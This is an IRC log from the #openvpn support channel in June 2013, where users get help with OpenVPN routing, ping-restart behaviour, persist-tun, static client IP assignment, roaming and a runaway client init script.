11:47 < Brandano> with a 255.255.255.0 netmask it ought to work in 99% of cases
11:55 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-krbwehkczfyoefik] has quit [Ping timeout: 260 seconds]
11:55 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
11:55 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Read error: Connection reset by peer]
11:55 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
11:56 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-trwmhrafngxdkxky] has quit [Ping timeout: 245 seconds]
11:56 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
11:57 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
11:57 -!- Denial [Denial@90.208.15.68] has joined #openvpn
11:59 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 245 seconds]
11:59 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
11:59 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
11:59 -!- [fred] [fred@konfuzi.us] has joined #openvpn
12:00 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 240 seconds]
12:01 -!- CEnnis91 [~uid3543@gateway/web/irccloud.com/x-iivprgmvbctxlyyp] has joined #openvpn
12:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 276 seconds]
12:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
12:02 -!- BtbN [znc@btbn.de] has joined #openvpn
12:03 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 256 seconds]
12:04 < pekster> Thermi: I'm no sure how that's related to openvpn
12:04 < Thermi> Lots of people have servers there. And I think it's pretty important for them to get informed about it.
12:05 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
12:05 < pekster> Please don't abuse a focused discussion/support channel in this manner. There are general "chat" channels on Freenode for that
12:05 < Thermi> KK. :/
12:07 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 240 seconds]
12:09 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: heading home, bbl]
12:09 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
12:11 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
12:12 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
12:19 -!- [fred] [fred@konfuzi.us] has joined #openvpn
12:22 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:23 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
12:29 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:29 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
13:07 <@ecrist> !notovpn
13:07 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
13:07 <@ecrist> :)
13:24 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
13:26 -!- ShaunR- [~ShaunR@staff.ndchost.com] has joined #openvpn
13:35 -!- ShaunR- [~ShaunR@staff.ndchost.com] has quit [Ping timeout: 248 seconds]
13:53 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-jgrfoovohfvyjqgl] has joined #openvpn
13:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:59 -!- p3rror [~p3rror@41.249.15.186] has joined #openvpn
14:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:45 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
14:53 -!- mattock is now known as mattock_afk
14:54 < Slippern> Can someone help me with some routing problems?
14:58 < Aketzu_> not unless you tell us what the problem is
14:59 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
15:03 < Slippern> I have a windows 2k8r2 server with two nics, the "Internet" nic has  ip 192.168.99.22, mask 255.255.255.0 and gw 192.168.99.1, and the "LAN" nic has 172.16.10.1 mask 255.255.255.0. both network can ping each other, but clients on the 172 network cant reach internet..
15:03 -!- larsks [~lars@madhatter.seas.harvard.edu] has joined #openvpn
15:05 < Aketzu_> have you enabled routing in windows?
15:05 < Aketzu_> (+ probably NAT)
15:05 < Slippern> yepp, RIP protocol.. i don't want nat..
15:06 < Aketzu_> have you installed routing and remote access component?
15:06 < pekster> You have no choice if you're using rfc1918 IP space
15:07 < pekster> And Windows configuration isn't really the purpose of #openvpn, assuming you mean physical NICS
15:09 < Slippern> Aketzu_: yes have done it..
15:09 < Slippern> http://pastebin.no/341l
15:10 < larsks> I have 'ping-exit 30' in my openvpn configuration, but in the event of a lost connection, openvpn logs "Inactivity timeout (--ping-restart), restarting".  I really want the ping-exit behavior, not ping-restart.  Am I missing something?
15:11 < pekster> larsks: Are you pushing it from the server that's over-riding that behaviour?
15:11 < pekster> It's possible if you use --ping-exit after you use --pull that'll make it exist instead, but I haven't tried it personally
15:15 < larsks> I don't control the server...and there's no --pull in the configuration.
15:15 < pekster> !both
15:15 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:15 < pekster> (and --client implies --pull)
15:16 < larsks> Interesting.  I'm susprised that this behavior can be controlled by the server policy.
15:17 < larsks> The problem is that when the VPN connection die (e.g., the system sleeps...), the combination of the dead vpn + the resolver configuration means that openvpn can't resolve the vpn host.
15:17 < larsks> It looks like's it's not calling the "down" script in this case.
15:18 < larsks> (Which would revert /etc/resolv.conf to the pre-vpn configuration)
15:18 < Slippern> Aketzu_: doh, got it to work :)
15:19 < pekster> larsks: The client needs to accept pushed options (which is not the default.) Use of --pull or --client imply this, and thus you have asked it to accept pushed directives from the server during the connection handshake
15:20 < larsks> What is "legal set of pushable options" (referenced in the man page, but I can't find an explicit list)?
15:20 < larsks> While I expect routing and dns options, I'm surprised to find operational options (like ping-restart or ping-exit) in this list.
15:20 < pekster> See --push in the manpage
15:20 < larsks> Thanks, checking...
15:20 < larsks> Huh.
15:20 < pekster> That's an incomplete list, but it covers the most common. Basically just use common sense as to what can likely be pushed
15:21 < pekster> Or look in the server config file (yes, I know, you don' thave it. This is why help to you will be limited. Very limited.)
15:21 < larsks> Is there a way to have openvpn run a script on a restart, rather than just up/down?
15:21 < pekster> Maybe grep for PUSH_REPLY in a verb 4 log
15:21 < pekster> See --up, --down, and --up-restart
15:22 < larsks> Hmmm, my openvpn man page doesn't know about --up-restart (2.3.1)...ah, but it does show up in --help. I'll take a look.
15:22 < pekster> 2.3.1 does
15:22 < pekster> !man
15:22 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:22 < larsks> Found it.
15:37 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:47 < larsks> pekster: It turns out that in this case the correct solution was removing 'persist-tun' from the configuration.  This causes openvpn to tear down the tun device (and the 'down' script, even without up-restart), which (a) clears up routes and (b) clears up resolv.conf.
15:47 < larsks> Fortunately, no server-side access required.
15:48 < pekster> That will work too, although --down scripts only run on restarts if --up-restart is used too
15:48 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
15:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:52 -!- batrick [batrick@nmap/developer/batrick] has quit [Client Quit]
15:52 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
15:57 < larsks> pekster: In this case --up-restart is not required. Without --persist-tun, a ping-restart triggers the --down script followed by the --up script (because the tun device is destroyed and re-created).
16:08 < pekster> Ah, gotcha
16:08 < pekster> That behaviour is described under --down but that isn't noted under --up-restart :P
16:09 < pekster> So, looks like you might also be able to use --persist-tun with --down and --up-restart too (but again, I can't vouch for it as I haven't tested that)
16:21 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
16:23 -!- javacoder [~JAVACODER@96.52.2d.static.xlhost.com] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
16:43 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
16:45 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 276 seconds]
16:57 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
17:09 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
17:10 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
17:26 -!- p3rror [~p3rror@41.249.15.186] has quit [Ping timeout: 260 seconds]
17:30 -!- Denial [Denial@90.208.15.68] has quit []
17:36 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
17:36 -!- Netsplit *.net <-> *.split quits: qmr, pwrcycle, JPeterson, zarrsh
17:40 -!- Netsplit over, joins: qmr
17:40 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 273 seconds]
17:41 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 276 seconds]
17:41 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
17:41 -!- dimm0k [~dimm0k@108.41.239.206] has joined #openvpn
17:41 -!- dimm0k [~dimm0k@108.41.239.206] has quit [Changing host]
17:41 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
17:43 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
17:45 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:48 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
17:48 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
18:01 -!- Netsplit *.net <-> *.split quits: pwrcycle, zarrsh
18:02 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
18:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:04 -!- Netsplit over, joins: pwrcycle, zarrsh
18:15 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:16 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
18:17 < WinstonSmith> hi! can i rely on ipp.txt that a certain client always gets the same ip or must i use a client-config-dir?
18:18 < pekster> !static
18:18 < EugeneKay> !ipp
18:18 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
18:18 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
18:18 < pekster> EugeneKay: ;)
18:19 < WinstonSmith> that answers my question nicely. thanks pekster and EugeneKay
18:20 < WinstonSmith> !iporder > WinstonSmith
18:20 < WinstonSmith> hrm
18:21 < WinstonSmith> !iporder
18:21 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
18:26 -!- master_o1_master [~master_of@p4FF24F31.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:28 -!- master_of_master [~master_of@p4FF24F2F.dip0.t-ipconnect.de] has joined #openvpn
18:42 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
18:47 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has joined #openvpn
19:15 < EmLeX_> is it possible to ip roam with openvpn like going from dsl to 3g without loosing connection?
19:16 -!- EmLeX_ [~emx@37.46.193.18] has quit [Quit: Bye.]
19:17 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
19:20 < Poster> EmLeX_: not completely, the source address is going to change, but OpenVPN is fairly good about detecting a failure and reconnecting
19:24 < WinstonSmith> ok lets rephrase my earlier question (after having done some tests): is there a way to prevent a malicious client that changes the ip manually from connecting?
19:26 < WinstonSmith> e.g. client test receives .5 and changes manually to .6 and is not allowed to connect. to pair an ip with a key so to speak
19:26 < EmLeX_> meh irc trubles bbiab
19:26 -!- EmLeX_ [~emx@37.46.193.18] has quit [Quit: Bye.]
19:27 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
19:28 -!- EmLeX_ [~emx@37.46.193.18] has quit [Client Quit]
19:34 < Poster> so you want a certain key to be assigned to a specific address?
19:36 < WinstonSmith> Poster: sorry was away for a sec. yes, and to that address only (if that is at all possible wiht openvpn)
19:37 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
19:38 < Poster> WinstonSmith: look at the ifconfig-pool-persist option, I think that will do what you want
19:38 < EmLeX> damn i hate when a old bnc u forgot about is causing trubble :d
19:39 < WinstonSmith> Poster: correct me if i am wrong, but does that not just enable the use of ipp.txt?
19:40 < WinstonSmith> what i mean is it would not prevent a malicious user to simply assign herself manually some other address
19:46 -!- raidz is now known as raidz_away
20:00 < Poster> the OpenVPN server daemon will assign the same IP address to the certificate
20:00 < Poster> if you have a user you do not trust, you should not permit them VPN access
20:00 < Poster> or revoke their certificate
20:00 < Poster> if you need to isolate one user from another, run separate instances with separate SSL certificate authorities
20:03 < EmLeX> Or use a firewall to isolate them
20:03 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Ping timeout: 260 seconds]
20:04 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:07 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Client Quit]
20:14 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:26 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
20:44 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:57 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:04 -!- mitz [~mitz@219.143.36.82] has joined #openvpn
21:11 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Quit: No Ping reply in 180 seconds.]
21:11 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
21:16 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Ping timeout: 256 seconds]
21:17 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
21:17 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
21:20 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
22:00 -!- baobeiiiii [~baobeiiii@192.73.240.212] has joined #openvpn
22:00 < baobeiiiii> hey
22:00 < baobeiiiii> just ran yum update, it updated openvpn to:
22:00 < baobeiiiii> OpenVPN 2.3.2 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Jun  3 2013
22:00 < baobeiiiii> is that a beta version? i'm using openvpn snapshot repo
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:14 < pekster> EmLeX: You got incorrect info before: see the --float option in the manpage; it is quite possible to have clients roam like that
22:15 < pekster> WinstonSmith: In tun mode when the server pushes an IP, the server will reject client-sourced packets from an IP other than that which was specified (unless you're using --iroute with that client via a ccd)
22:15 < pekster> Poster: I know you like to pass out info, but try to make sure it's the *correct* info
22:17 -!- baobeiiiii [~baobeiiii@192.73.240.212] has quit [Quit: Leaving]
22:25 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:32 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 246 seconds]
22:38 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The professional IRC Client :D]
22:38 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
23:05 < EmLeX> pekster: is that a client side command or does that need to be configured on the server side?
23:11 -!- cnf [D3e8Yrsl1f@unaffiliated/cnf] has quit [Read error: Operation timed out]
23:12 -!- cnf [D04rlbxpdZ@unaffiliated/cnf] has joined #openvpn
--- Day changed Fri Jun 07 2013
00:10 -!- mitz [~mitz@219.143.36.82] has quit [Quit: WeeChat 0.4.1]
01:14 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:14 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:14 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:42 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
01:50 -!- mattock_afk is now known as mattock
02:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:36 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
02:43 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has quit [Ping timeout: 248 seconds]
02:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:53 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
02:54 < majuscule> Hi, I've set up an OpenVPN server, and am running the OpenVPN android client
02:54 < majuscule> I am worried that despite a "successful" connection, my traffic is not being routed through the VPN
02:54 < majuscule> I see the connection being established, but I don't see any traffic on the tun0 interface
02:56 < majuscule> What might be going wrong and how can I debug this?
02:57 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
03:15 < excalibr> no idea but do you have redirect-gateway directive pushed to client?
03:18 < majuscule> excalibr: yes i do, thank you for the idea though :-)
04:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
04:55 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:57 -!- mikkel [~mikkel@109.202.158.84] has joined #openvpn
05:34 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
05:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:50 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:53 -!- mikkel [~mikkel@109.202.158.84] has quit [Ping timeout: 264 seconds]
06:01 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 240 seconds]
06:02 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
06:07 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
06:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
06:49 -!- Denial [Denial@90.208.15.68] has joined #openvpn
06:49 -!- xTz [xtz@DeathStar.Techn0.eu] has left #openvpn []
06:49 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
06:56 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has joined #openvpn
06:57 -!- deever_ is now known as deever
07:00 -!- ko_lo is now known as baptistem
07:00 -!- baptistem [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has quit [Changing host]
07:00 -!- baptistem [~baptistem@unaffiliated/baptistem] has joined #openvpn
07:05 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 256 seconds]
07:06 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
07:06 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
07:06 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
07:15 -!- baptistem [~baptistem@unaffiliated/baptistem] has quit [Ping timeout: 256 seconds]
07:22 -!- ko_lo [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has joined #openvpn
07:31 -!- WiedzmaJaga [~Jaga@kekkonen.cs.hut.fi] has joined #openvpn
07:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 276 seconds]
07:41 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:44 < WiedzmaJaga> hello, I have problem with openvpn on my laptop
07:44 < WiedzmaJaga> I'm a gentoo user, which is the client, and I'm trying to connect to redhat server
07:44 < WiedzmaJaga> http://www.niksula.hut.fi/~kochang1/openvpn.conf this is my config file (with the server ip commented out)
07:45 < WiedzmaJaga> the problem I have is that openvpn started with /etc/init.d/openvpn start
07:45 -!- ko_lo is now known as baptistem
07:45 -!- baptistem [~baptistem@89-92-108-134.hfc.dyn.abo.bbox.fr] has quit [Changing host]
07:45 -!- baptistem [~baptistem@unaffiliated/baptistem] has joined #openvpn
07:45 -!- baptistem [~baptistem@unaffiliated/baptistem] has left #openvpn []
07:46 < WiedzmaJaga> in a few seconds it started to spawn so many processes that my computer got clogged totally
07:46 < WiedzmaJaga> cpu, ram, swap - all of it
07:46 < WiedzmaJaga> now, before (with something different in the config) it would start, turn into a zombie
07:46 < WiedzmaJaga> and when I tried to stop it, it would say there is no pid file
07:47 < WiedzmaJaga> now that they spawn like rabbits I cannot stop them anymore or kill - only reboot works
07:48 < WiedzmaJaga> please help
07:49 < WiedzmaJaga> (ah, I got the certificates, keys and passwords all generated by the server guys, they even shipped me the config file - install is quite close to vanilla, I haven't changed much there)
07:50 < eennaam> how much ram does it have
07:50 < eennaam> and what cpu?
07:51 < WiedzmaJaga> 4gb + 4gb ssd swap
07:51 < WiedzmaJaga> cpu is i5
07:51 -!- druid [~druid@unaffiliated/druid] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
07:52 < WiedzmaJaga> Linux 3.7.10-gentoo #3 SMP Tue Apr 9 00:32:27 EEST 2013 x86_64 Intel(R) Core(TM) i5 CPU U 520 @ 1.07GHz GenuineIntel GNU/Linux
07:52 < eennaam> WiedzmaJaga: could be issue with resolving hostname?
07:52 < eennaam> resolv-retry infinite ?
07:53 < WiedzmaJaga> what should I put there, a small number?
07:53 < eennaam> no that should be fine..
07:54 < eennaam> but maybe you can solve the hostname resolving issue... if there is any
07:54 < WiedzmaJaga> how?
07:54 < eennaam> (just guessing here)
07:54 < eennaam> idk... is the DNS right?
07:54 < eennaam> can you ping names?
07:55 < eennaam> use ip address instead of name address?
07:55 < eennaam> throw a bucket of boiling lava over it?
07:56 < WiedzmaJaga> my internet should be working just fine with everything else
07:56 < WiedzmaJaga> in the config I use ip address for the server
07:56 < eennaam> sorry , i dont know what is wrong
07:56 < WiedzmaJaga> my brain is boiling
07:57 < eennaam> im also not really experienced with openvpn tbh
07:57 < WiedzmaJaga> I've been working on this for a few hours now
07:57 < eennaam> maybe you should take a break :)
07:57 < WiedzmaJaga> I can't really
07:57 < WiedzmaJaga> I need it for work
07:58 < WiedzmaJaga> and I'm at work
07:58 < eennaam> hmm sucks
07:58 < eennaam> before it worked?
07:58 < eennaam> cant you go back to that situation?
07:59 < WiedzmaJaga> it never worked
07:59 < WiedzmaJaga> it's first time I'm setting it up
07:59 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 246 seconds]
07:59 < WiedzmaJaga> and everyone else at work use windows or mac >_>
08:00 < eennaam> :(
08:00 < eennaam> do you really need that job? :P
08:00 < eennaam> sorry, not being helpful
08:02 < WiedzmaJaga> I do need it
08:03 < WiedzmaJaga> I need to access the server behind it, important stuff on it
08:03 < WiedzmaJaga> can't do my job fully without it
08:04 < eennaam> WiedzmaJaga: can you try to make the redhat the vpn client and centos the vpn server?
08:04 < eennaam> WiedzmaJaga: oh, maybe it is an issue with your firewall
08:04 < eennaam> (most common problem)
08:06 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has joined #openvpn
08:06 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
08:06 < WiedzmaJaga> I'm not sure I have any firewall, I didn't configure any
08:06 < WiedzmaJaga> also, I have no access to the server whatsoever
08:07 < WiedzmaJaga> just a bundle of config files from them
08:07 < eennaam> maybe the isp closes the port
08:07 < eennaam> you can try use a different port
08:09 < WiedzmaJaga> that's the port they gave me
08:09 < WiedzmaJaga> idk if I should change that
08:10 < eennaam> yeah.. well , maybe call the ISP
08:10 < eennaam> they can open the port if it is closed
08:10 < WiedzmaJaga> ISP or sever?
08:11 < WiedzmaJaga> server*
08:11 < eennaam> internet service provider
08:11 < eennaam> where you get your internet from
08:12 < WiedzmaJaga> ISP of the office in which everyone else is connecting to the said server without trouble?
08:12 < eennaam> i dont know
08:12 < WiedzmaJaga> the issue must be somewhere in my machine
08:13 < WiedzmaJaga> or config
08:13 < WiedzmaJaga> or route/ifconfig or something
08:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:26 < WiedzmaJaga> :<
08:26 < WiedzmaJaga> my workday is over and it's still not working
08:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:48 < WiedzmaJaga> heee~lp
08:53 < pekster> EmLeX: That option is given in the config of the side you wish to accept changing source IPs from (so in your case, you want that on the server config to all clients to change public IPs)
09:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
09:03 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:04 < pekster> WiedzmaJaga: I have a few Gentoo boxes, and the initscript works fine when used as designed. Your best bet if you're having issues launching it is just run `openvpn --config some.conf` on the command-line which will also print errors there (unless you're using --log or --log-append)
09:04 < pekster> Oh, and looking at your config file you have *both* which is a mistake since only the last one does any good. Probably best to comment those out if you're running it from the CLI to test with
09:09 -!- Denial- [~Denial@90.208.15.68] has joined #openvpn
09:10 -!- Denial- [~Denial@90.208.15.68] has quit [Client Quit]
09:18 -!- tyrok [~tyrok@c-71-205-69-93.hsd1.mi.comcast.net] has quit [Remote host closed the connection]
09:21 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:24 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
09:25 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
09:37 < Brandano> pekster: looks like everything is working for me. i had to push a few dhcp options to get windows shares to show up, but otherwise it seems all is fine and dandy
09:38  * Brandano thinks that "you do not want to use bridging if you have a wins server" should be followed by "but if you do, then you should alte dhcp rules accordingly"
09:40 < pekster> I'd suggest using DNS as it was intended so you can do without WINS entierly, but that's up to you
09:41 < Brandano> yes, that would be ideal
09:41 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
09:42 < Brandano> this network is a bit of a mess. Time for some cleanup
09:43 -!- thalweg [~quassel@198.211.102.196] has quit [Disconnected by services]
09:43 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
09:44 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
09:50 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
09:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:58 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:59 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Ping timeout: 245 seconds]
10:10 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
10:10 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
10:10 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:20 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
10:22 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:25 -!- raidz_away is now known as raidz
10:28 -!- ShaunR- [~ShaunR@staff.ndchost.com] has joined #openvpn
10:30 -!- ShaunR [~ShaunR@freenode/sponsor/NDChost.com] has quit [Ping timeout: 256 seconds]
10:33 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:40 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
10:48 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Ping timeout: 240 seconds]
10:48 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
11:04 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
